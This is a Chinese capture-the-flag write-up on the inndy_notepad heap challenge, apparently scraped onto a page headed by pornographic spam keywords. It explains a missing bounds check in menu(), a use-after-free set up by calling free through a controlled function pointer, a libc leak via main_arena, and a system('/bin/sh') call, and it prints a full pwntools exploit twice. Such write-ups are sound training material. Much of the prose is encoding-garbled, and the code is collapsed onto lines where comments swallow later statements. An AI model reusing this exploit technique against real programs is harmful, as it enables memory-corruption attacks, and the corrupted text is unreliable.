日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

【网络安全】一个堆题inndy_notepad的练习笔记

發(fā)布時間:2025/3/21 编程问答 15 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【网络安全】一个堆题inndy_notepad的练习笔记 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

對于堆的恐懼來自堆復(fù)雜的管理機(jī)制(unsorted,fastbin,small,large bin看著都頭大),相較于棧(壓入彈出)來說復(fù)雜太多了,再加上使用GDB調(diào)試學(xué)習(xí)堆時,每次堆分配時,調(diào)試起來相當(dāng)?shù)穆闊?#xff0c;所以一直都是理論學(xué)習(xí),堆不敢碰不敢嘗試。

嘗試了一下堆,熟悉了堆的分配機(jī)制。

題目分析

基本信息分析

查看文件類型,32位,沒有去掉符號( not stripped,很開心,省去了猜函數(shù)的“樂趣”)

file notepad notepad: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2,

for GNU/Linux 2.6.32,
BuildID[sha1]=65aa4834fcd253be2490ea1dc24a0c582f0cbb6f, not stripped

查看保護(hù)機(jī)制,一些直觀的映像見下面注釋

# checksec notepadArch: i386-32-littleRELRO: Partial RELRO # 可寫gotStack: Canary found #如果要棧溢出,需要考慮canary的問題NX: NX enabled #不可以在棧上,bss段上布局shellcode,因為不可執(zhí)行PIE: No PIE (0x8048000) # 很開心,本程序每次加載的地址都是固定的

拖入IDA,查看字符串(shift+f12),沒有system,沒有/bin/sh(難受,需要泄露libc地址)。

至此,一些最直觀、最簡單的分析完畢。我們可以得到以下信息:

本程序是32位程序,每次加載時地址固定,如果存在棧溢出,需要考慮canary check的問題,并且溢出之后不能在數(shù)據(jù)區(qū)(棧、bss段)布局shellcode,因為數(shù)據(jù)區(qū)不可執(zhí)行,所以需要通過ROP實(shí)現(xiàn)我們的意圖。同時,程序本身不存在system和/bin/sh,需要通過泄露libc的地址來獲取我們需要的libc中的函數(shù)(如system)。

功能分析&找茬

好了,下面開始找茬吧

主函數(shù)
包含循環(huán),從函數(shù)名看是一個菜單顯示加功能選擇。有四個函數(shù)

menu:int __cdecl menu(int a1){int result; // eaxint i; // [esp+8h] [ebp-10h]int v3; // [esp+Ch] [ebp-Ch]for ( i = 0; *(4 * i + a1); ++i )printf("%c> %s\n", i + 97, *(4 * i + a1));printf("::> ");v3 = getchar() - 'a';freeline();if ( v3 < i ) # 沒有檢查下界???此時一定要標(biāo)記出來這個函數(shù)有問題,不然后面就忘了 --!result = v3 + 1;elseresult = 0;return result;} bash:unsigned int bash(){char s; // [esp+Ch] [ebp-8Ch] #128沒毛病unsigned int v2; // [esp+8Ch] [ebp-Ch]v2 = __readgsdword(0x14u);printf("inndy ~$ ");fgets(&s, 128, stdin);rstrip(&s); #替換一些特殊字符,沒毛病printf("bash: %s: command not found\n", &s);return __readgsdword(0x14u) ^ v2;} cmd:unsigned int cmd(){char s; // [esp+Ch] [ebp-8Ch] #128沒毛病unsigned int v2; // [esp+8Ch] [ebp-Ch]v2 = __readgsdword(0x14u);puts("Microhard Wind0ws [Version 3.1.3370]");puts("(c) 2016 Microhard C0rporat10n. A11 rights throwed away.");puts(&byte_8049371);printf("C:\\Users\\Inndy>");fgets(&s, 128, stdin);rstrip(&s);printf("'%s' is not recognized as an internal or external command\n", &s);return __readgsdword(0x14u) ^ v2;} notepad:主要的功能函數(shù),下面分析

menu函數(shù)中,我們可以控制menu函數(shù)的返回值!看似可疑的兩個函數(shù)cmd和bash貌似沒毛病,往后看。

進(jìn)入notepad函數(shù):

包含6個函數(shù):

menu函數(shù)負(fù)責(zé)顯示菜單,并且根據(jù)輸入選擇執(zhí)行功能。前面提到,這個函數(shù)可以輸出一個負(fù)數(shù),但是貌似在這沒有什么用!跳過 notepad_new見下面 notepad_open見下面 notepad_delete見下面 notepad_rdonly用于分析note struct字段 notepad_keepsec用于分析note struct字段

notepad_new


大致通過注釋解釋了一下分析過程,后面不再進(jìn)行詳細(xì)的分析。這里需要留意的地方是:這里的函數(shù)(notepad_show,notepad_destory)指針放在了堆上,如果我們能夠溢出覆蓋到這兩個函數(shù)指針,豈不是就可以控制EIP執(zhí)行我們想要執(zhí)行的流程了嗎?(初步感覺,實(shí)際上并不是溢出,只是分析時存在利用的可能性)可以看出通過size控制輸入的長度,但并不存在溢出的機(jī)會。接著看下面
【網(wǎng)絡(luò)安全學(xué)習(xí)攻略·資料】

notepad_open:

在這里使用了menu函數(shù)。還記得前面我們分析的結(jié)構(gòu),我們可以控制這個函數(shù)的輸出嗎?控制了這個值后,我們就間接控制了上圖menu函數(shù)下面的這個函數(shù)指針(*(&v3->p_func_show + v0 - 1))(v3);這個函數(shù)的參數(shù)是這個塊的首地址(不受控制)。所以這里我們可以分析得出:

  • 如果我們能夠通過控制v0控制函數(shù)指針指向我們想要執(zhí)行的函數(shù)就完成了第一步,例如變成system
  • 第二步,如果我們能控制v3處的內(nèi)容就好了,例如變成’/bin/sh’,怎么實(shí)現(xiàn)呢?貌似沒有什么思路,接著看吧!
  • notepad_delete:

    這個函數(shù)中通過id釋放了相應(yīng)的note,并且清空了相應(yīng)的指針,堵住了UAF的路。

    等等!!UAF,我們不是能夠控制一個函數(shù)指針嗎?參數(shù)正好是分配的堆塊地址!我們可以控制這個函數(shù)指針為free,釋放掉當(dāng)前塊,并且沒有清空指針的操作!一個野指針就這么誕生了,UAF!

    至此,一個邪惡的計劃產(chǎn)生了!

    一個邪惡的計劃

  • 生成兩個大小相同的堆塊A和B(這兩個堆塊相鄰哦);對于A,我們填充其內(nèi)容,使其包含free函數(shù)的地址;對于B,我們使用menu的返回值(負(fù)數(shù)),控制函數(shù)指針指向A內(nèi)容中的free函數(shù)地址,這樣我們可以控制函數(shù)指針指向free(此時參數(shù)是B的首地址),這樣通過操作B就可以free掉B自己。重要的是,雖然此時B已經(jīng)被free掉了,但是因為我們還控制著指向B的指針,所以我們還能操控B,這很重要(use
    after free)。
  • B現(xiàn)在被free掉了,躺在unsortedbin中,但是這有什么用呢?如果我們能讓A覆蓋到B就好了。可以嗎?可以的!!這里用到了堆分配中的一個知識點(diǎn):當(dāng)相同大小的堆塊釋放時,會被放入同一個類型bin上。所以,此時如果我們free掉A,那么他們就同時躺在unsortedbin中了(此時他們會被合并!另一個知識點(diǎn))。此時,我們使用一個大于堆A,小于A+B的大小,malloc一個塊,此時返回的地址就是A的地址(稱為A’),但是范圍卻覆蓋到了B。至此我們就能控制B的內(nèi)容了,比如通過重新分配出來的A’,覆蓋B的首地址位置,輸入’/bin/sh’。
  • 但是,現(xiàn)在我們還差個system函數(shù)啊?libc的地址還沒有獲取到呢?另一個堆的知識點(diǎn)(真多,麻木!)linux使用free進(jìn)行內(nèi)存釋放時,不大于64B的塊會先放入fastbin,大于64的塊會放入unsortedbin。如果fastbin為空時,unsortedbin中第一個塊的fd和bk指針指向自身的main_arena中。而main_arena在libc中,利用這個點(diǎn),我們可以泄露libc的地址。怎么弄呢?在第一步中,如果我們的B的size大于64(本例中0x60),那么在free時,就會直接被放入unsortedbin,此時fastbin中沒有數(shù)據(jù),那么B的數(shù)據(jù)區(qū)的前兩個DWORD就是fd和bk,指向libc中的main_arena+48(針對本例chunk大小ox60)的位置。而main_arena在libc中是固定偏移的,我們用IDA打開libc,找到malloc_trim函數(shù),如下圖高亮位置就是偏移量,本例中是0x1b3780。至此我們可以獲得libc的地址,通過偏移,我們可以找到system的地址。
    【網(wǎng)絡(luò)安全學(xué)習(xí)攻略·資料】

    終于,我們邪惡艱難的計劃有了雛形。
  • exploit

    下面就是執(zhí)行了

    首先,套路

    #!/usr/bin/python #coding:utf-8 from pwn import * from LibcSearcher import *context(arch="amd64", os="linux") context.log_level = 'debug' context.terminal = ['terminator','-x','sh','-c'] # #-------------------- # 連接選項 #-------------------- is_local = 1 local_path = './notepad' addr = 'node4.buuoj.cn' port = 25207 if is_local:io = process(local_path) else:io = remote(addr,port)#-------------------- # 調(diào)試選項 #--------------------def debug(cmd):gdb.attach(io, cmd)# pause()#-------------------- # 常用函數(shù) #-------------------- se = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) rc = lambda num :io.recv(num) rl = lambda :io.recvline() ra = lambda :io.recvall() ru = lambda delims :io.recvuntil(delims) uu32 = lambda data :u32(data.ljust(4, '\x00')) uu64 = lambda data :u64(data.ljust(8, '\x00')) info = lambda tag, addr :log.info(tag + " -> " + hex(addr)) ia = lambda :io.interactive() halt = lambda :io.close()elf=ELF(local_path) libc = ELF('./libc.so') p_free_plt=elf.plt['free'] p_puts_plt=elf.plt['puts'] p_=elf.symbols['main']def notepad_new(size, data):sla(b'::>', b'a')sla(b'size >', str(size).encode('utf-8'))sla(b'data >', data)# sleep(0.1)def notepad_open(id, offset):sla(b'::>', b'b')sla(b'id >', str(id).encode('utf-8'))sla(b'(Y/n)', b'n')sla(b'::>', chr(ord('a')+offset))return ru(b'note closed')def notepad_edit(id, offset, content): # 與上面一個open函數(shù)的區(qū)別是這里可以編輯內(nèi)容sla(b'::>', b'b')sla(b'id >', str(id).encode('utf-8'))sla(b'(Y/n)', b'y')sla(b'content >', content)ru(b'note saved')sla(b'::>', chr(ord('a')+offset))ru(b'note closed')def notepad_delete(id):sla(b'::>', b'c')sla(b'id >', str(id).encode('utf-8'))

    首先分配4個塊。等等!!前面不是說兩個塊,一個A,一個B嗎?這里堆的另一個知識點(diǎn),為了提高內(nèi)存的利用率,堆在釋放時,會檢查他的上一個塊,如果這個塊是TOP chunk的話,就會與其進(jìn)行合并(這樣我們的塊就丟了,再分配時會從TOP chunk上切一塊給你,不受控制),所以為了保證我們的塊不被不受控制的合并,我們在A和B的上下添加了一個塊(0和3),如下:

    notepad_new(0x60, b'aaaa') #0 notepad_new(0x60, b'aaaa') #1 or A notepad_new(0x60, b'aaaa') #2 or B notepad_new(0x60, b'aaaa') #3

    其中,參數(shù)0x60是note內(nèi)容的大小,是為了保證堆塊在釋放時能被放入unsorted bin。

    然后,我們填充A,使得其內(nèi)容包含free函數(shù)指針;控制B中的指針(利用menu沒有檢查返回值的下界的問題)【網(wǎng)絡(luò)安全學(xué)習(xí)攻略·資料】

    notepad_edit(1, 0, b'b'*(0x60-4) + p32(p_free_plt)) # 編輯A的內(nèi)容包含free的指針,指針放在A的最后四個字節(jié) #根據(jù)menu函數(shù)中下界沒有檢查的問題,將eip指向B(notepad_show函數(shù)的位置)3個dword(從后往前數(shù),前兩個dword是堆塊的頭,第三個塊是前一個塊的數(shù)據(jù))的位置,也就是前一個塊的最后四個字節(jié)(free函數(shù)的地址) #此時free函數(shù)的地址是當(dāng)前塊的首地址,因此下面這個操作的目的是釋放當(dāng)前塊 notepad_open(2, -3) # free 2


    如上圖所示,A塊起始位置0x9579078,,B塊起始位置0x95790f0。塊首的兩個dword(4bytes)為堆塊的頭部。我們的free函數(shù)地址填充到了0x95790ec,此時我們可控的函數(shù)指針位置在0x95790f8,中間相差3個dword(因此然后menu返回-3,就可以調(diào)用到我們放入的指針),至此我們可以控制free函數(shù),釋放0x95790f0位置的塊B(在unsortedbin中fb和bk為main_arena+48)。


    此時,我們再通過程序提供的函數(shù)釋放掉A

    notepad_delete(1) # free 1 A

    如下圖,我們發(fā)現(xiàn)出現(xiàn)了A和B的合并,那個size=0xf1的塊就是

  • 此時我們再將A
    malloc出來,填充數(shù)據(jù),內(nèi)容包含puts的函數(shù)指針,大小為0xf1的哪個就是了,我們稱為A’,現(xiàn)在A’中包含了puts的地址。【網(wǎng)絡(luò)安全學(xué)習(xí)攻略·資料】
  • 為什么兩個size=0x60釋放后是size=0xf1.

    首先由于在unsorted bin 中,兩個塊進(jìn)行了合并,0x60 + 0x60 = 0xC0
    由于每個chunk都會包含一個頭部,本例中頭部為0x10 2,則0xC0+0x102 = 0xF0
    由于該塊的前一個塊(0x9579000)處于使用狀態(tài),所以該塊的PREV_INUSE是1,所以0xF0 + 0x1 = 0xF1
    同理可解釋其他塊

    notepad_new(0xf1-0x10 - 0x8, b'b'*(0x60 -4 + 4) + p32(p_puts_plt) + b'b'*2) # alloc 1+2

    pre_size字段,如果上一個塊處于釋放狀態(tài),用于表示其大小,否則上一個塊處于使用狀態(tài)時,pre_size為上一個塊的一部分,用于保存上一個塊的數(shù)據(jù)。可以通過觀察0x9579168地址處驗證

  • 可以看到B塊在unsortedbin中走了一遭后,0x95790f0+8位置變?yōu)榱?xf7f747b0(main_arena+48)。再次強(qiáng)調(diào)B塊的指針我們是知道的!此時,我們通過控制的指針指向puts函數(shù)打印B起始地址的內(nèi)容,就可以得到main_arena+48的地址,結(jié)合main_arena在libc中的偏移(前文提到,高亮的哪個)就可以計算出libc的地址,從而獲得system的地址。
  • notepad_new(0xf1-0x10 - 0x8, b'b'*(0x60 -4 + 4) + p32(p_puts_plt) + b'b'*2) # alloc 1+2main_area_addr = notepad_open(2, -2)[1:5] main_area_addr = u32(main_area_addr) - 48 print(hex(main_area_addr))libc_base = main_area_addr - 0x1B3780 # 從libc文件中的malloc_trim函數(shù)第4行獲取 p_system = libc_base + libc.symbols['system']

    最后,我們要寫入/bin/sh到B起始的位置。相同的原理,通過A‘寫入數(shù)據(jù),內(nèi)包含system地址和/bin/sh

    notepad_edit(1, 0, b'b'*(0x60-4 + 4) + p32(p_system) + b'b'*4 + b'/bin/sh')


    現(xiàn)在,再次調(diào)用noteopen(2, -2),此時,我們的函數(shù)指針-2位置為我們填入的system函數(shù),B塊的起始位置,放入了/bin/sh,完美!!
    【網(wǎng)絡(luò)安全學(xué)習(xí)攻略·資料】

    sla(b'::>', b'b') sla(b'id >', str(2).encode('utf-8')) # sla(b'(Y/n)', b'n') sla(b'::>', chr(ord('a')-2))# ra() ia()


    完整exp奉上

    #!/usr/bin/python #coding:utf-8 from pwn import * from LibcSearcher import *context(arch="amd64", os="linux") context.log_level = 'debug' context.terminal = ['terminator','-x','sh','-c'] ##-------------------- # 連接選項 #-------------------- is_local = 1 local_path = './notepad' addr = 'node4.buuoj.cn' port = 25207 if is_local:io = process(local_path) else:io = remote(addr,port)#-------------------- # 調(diào)試選項 #--------------------def debug(cmd):gdb.attach(io, cmd)# pause()#-------------------- # 常用函數(shù) #-------------------- se = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) rc = lambda num :io.recv(num) rl = lambda :io.recvline() ra = lambda :io.recvall() ru = lambda delims :io.recvuntil(delims) uu32 = lambda data :u32(data.ljust(4, '\x00')) uu64 = lambda data :u64(data.ljust(8, '\x00')) info = lambda tag, addr :log.info(tag + " -> " + hex(addr)) ia = lambda :io.interactive() halt = lambda :io.close()elf=ELF(local_path) libc = ELF('./libc.so') p_free_plt=elf.plt['free'] p_puts_plt=elf.plt['puts'] p_=elf.symbols['main']def notepad_new(size, data):sla(b'::>', b'a')sla(b'size >', str(size).encode('utf-8'))sla(b'data >', data)# sleep(0.1)def notepad_open(id, offset):sla(b'::>', b'b')sla(b'id >', str(id).encode('utf-8'))sla(b'(Y/n)', b'n')sla(b'::>', chr(ord('a')+offset))return ru(b'note closed')def notepad_edit(id, offset, content):sla(b'::>', b'b')sla(b'id >', str(id).encode('utf-8'))sla(b'(Y/n)', b'y')sla(b'content >', content)ru(b'note saved')sla(b'::>', chr(ord('a')+offset))ru(b'note closed')def notepad_delete(id):sla(b'::>', b'c')sla(b'id >', str(id).encode('utf-8')) sla(b'::>', b'c') debug_cmd = '''b *0x08048CE8c''' # open 8048E46 # call eax 08048CE8 # 08048CBFnotepad_new(0x60, b'aaaa') notepad_new(0x60, b'aaaa') notepad_new(0x60, b'aaaa') notepad_new(0x60, b'aaaa') # notepad_edit(1, 0, b'b'*(0x60-4) + p32(p_free_plt)) #根據(jù)menu函數(shù)中下界沒有檢查的問題,將eip指向notepadshow函數(shù)前3個dword的位置,也就是前一個塊的最后四個字節(jié)(free函數(shù)的地址) #此時free函數(shù)的地址是當(dāng)前塊的首地址,因此下面這個操作的目的是釋放當(dāng)前塊 # debug(debug_cmd) notepad_open(2, -3) # free 2notepad_delete(1) # free 1notepad_new(0xf1-0x10 - 0x8, b'b'*(0x60 -4 + 4) + p32(p_puts_plt) + b'b'*2) # alloc 1+2main_area_addr = notepad_open(2, -2)[1:5] main_area_addr = u32(main_area_addr) - 48 print(hex(main_area_addr))libc_base = main_area_addr - 0x1B3780 # 從libc文件中的malloc_trim函數(shù)第4行獲取 p_system = libc_base + libc.symbols['system']# notepad_delete(1)# notepad_new(0x60, b'aaaa') # notepad_new(0x60, b'bbbb')notepad_edit(1, 0, b'b'*(0x60-4 + 4) + p32(p_system) + b'b'*4 + b'/bin/sh') # debug(debug_cmd) # notepad_open(2, -2) sla(b'::>', b'b') sla(b'id >', str(2).encode('utf-8')) # sla(b'(Y/n)', b'n') sla(b'::>', chr(ord('a')-2))# ra() ia()

    因為我這里用的是自己機(jī)器中的libc,所以可能有些差異,但大體上是一樣的,libc信息如下。

    # ldd notepadlinux-gate.so.1 => (0xf7f29000)libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d54000)/lib/ld-linux.so.2 (0xf7f2b000)

    總結(jié)

    總的來說,這道題沒有用到溢出的知識,但是對于堆的分配、回收(合并)等知識點(diǎn)進(jìn)行了考察,對我來說,熟悉了堆在GDB調(diào)試下的熟練度,克服了一直以來對堆的恐懼,也是一大收獲。參考文獻(xiàn)


    但是在學(xué)習(xí)的過程中依然存在很多問題,很多知識點(diǎn)還是有些模糊,留給后面繼續(xù)深入吧。

    關(guān)注私我,獲取**【網(wǎng)絡(luò)安全學(xué)習(xí)攻略·資料】**

    總結(jié)

    以上是生活随笔為你收集整理的【网络安全】一个堆题inndy_notepad的练习笔记的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。